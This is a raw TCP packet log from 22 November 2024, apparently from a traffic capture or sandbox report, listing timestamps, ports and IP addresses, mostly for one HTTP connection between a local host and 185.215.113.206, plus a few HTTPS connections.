Nov 22, 2024 17:09:02.925040960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.925077915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.925837994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.925889969 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.925896883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.925909042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.925925970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.925955057 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.926774979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.926820993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.926837921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.926843882 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.926872969 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.927897930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.927941084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.927957058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.927963972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.928003073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.928894043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.928934097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.928940058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.928960085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.928978920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.928997993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.929620028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.929641008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.929655075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.929683924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.929742098 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.930469036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.930502892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.930515051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.930516958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.930536032 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.930551052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.931365967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.931418896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.931428909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.931447983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.931476116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.932274103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.932322025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.932327986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.932336092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.932357073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.932379007 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.933186054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.933229923 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.933255911 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.933269024 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.933295012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.933311939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.934185982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.934240103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.934252024 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.934283972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.934318066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.935050011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.935095072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.935110092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.935123920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.935153008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.935172081 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.936007977 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.936028004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.936044931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.936081886 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.936115026 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.936892986 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.936932087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.937171936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.937207937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.937218904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.937228918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.937259912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.938103914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.938148975 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.938152075 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.938160896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.938194036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.939008951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.939064980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.939085960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.939099073 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.939125061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.939954996 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.939966917 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.939979076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.940000057 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.940036058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.940840006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.940903902 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.940913916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.940928936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.940953970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.940980911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.941771984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.941836119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.941848040 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.941878080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.941906929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.942687035 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.942728996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.942739010 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.942753077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.942775011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.942799091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.943598986 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.943636894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.943649054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.943705082 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.944541931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.944588900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.944601059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.944600105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.944621086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.944637060 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.945415974 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.945449114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.945463896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.945466995 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.945488930 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.945507050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.946332932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.946393967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.946398973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.946412086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.946433067 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.946455002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.947366953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.947421074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.947429895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.947444916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:02.947459936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:02.947475910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.008363962 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008413076 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.008507967 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008547068 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008560896 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.008608103 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008763075 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008802891 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.008884907 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008894920 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.008933067 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.008964062 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009128094 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009135962 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.009210110 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009340048 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009356976 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.009547949 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009563923 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.009695053 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009705067 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.009788036 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009799004 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.009884119 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:03.009895086 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:03.033257008 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:03.033284903 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:03.033353090 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:03.033528090 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:03.033539057 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:03.117372990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.117453098 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.117510080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.117552042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.117597103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.117674112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.117805004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.117862940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.117891073 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.117903948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.117938042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.118680000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.118732929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.118743896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.118757963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.118778944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.118798018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.119632006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.119652033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.119663954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.119683981 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.119715929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.120522976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.120573044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.120623112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.120636940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.120692015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.121462107 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.121501923 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.121530056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.121541977 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.121575117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.122344017 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.122373104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.122383118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.122390985 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.122412920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.122423887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.123285055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.123322964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.123334885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.123336077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.123358011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.123374939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.124191999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.124245882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.124258995 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.124284983 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.124325991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.125108004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.125170946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.125183105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.125183105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.125221014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.126045942 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.126089096 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.126110077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.126168013 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.126195908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.126229048 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.126967907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.127017021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.127019882 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.127027988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.127064943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.127079964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.127875090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.127906084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.127917051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.127931118 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.127948999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.128799915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.128851891 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.128876925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.128890991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.128926992 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.129740000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.129796982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.129808903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.129821062 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.129841089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.129848003 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.130642891 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.130685091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.130697966 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.130703926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.130724907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.130738974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.131530046 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.131580114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.131581068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.131593943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.131614923 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.131630898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.132447004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.132500887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.132514954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.132527113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.132591009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.133356094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.133389950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.133399010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.133400917 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.133440018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.134306908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.134327888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.134344101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.134355068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.134376049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.134386063 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.135199070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.135212898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.135251045 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.135277987 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.135303020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.135337114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.136140108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.136181116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.136193037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.136193991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.136217117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.136229038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.137048006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.137090921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.137101889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.137136936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.137166977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.137984037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.138024092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.138231993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.138262987 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.138278008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.138292074 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.138326883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.139157057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.139203072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.139214039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.139235973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.139256001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.140108109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.140153885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.140166044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.140165091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.140202999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.141047955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.141088963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.141100883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.141103029 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.141133070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.141922951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.141963005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.141973972 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.141983986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.142014980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.142823935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.142889977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.142890930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.142904997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.142940998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.143882990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.143893957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.143899918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.143974066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.144723892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.144773960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.144784927 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.144815922 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.144844055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.145586967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.145633936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.145637035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.145648956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.145668030 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.145684958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.146528006 CET	80	49747	185.215.113.206	192.168.2.10
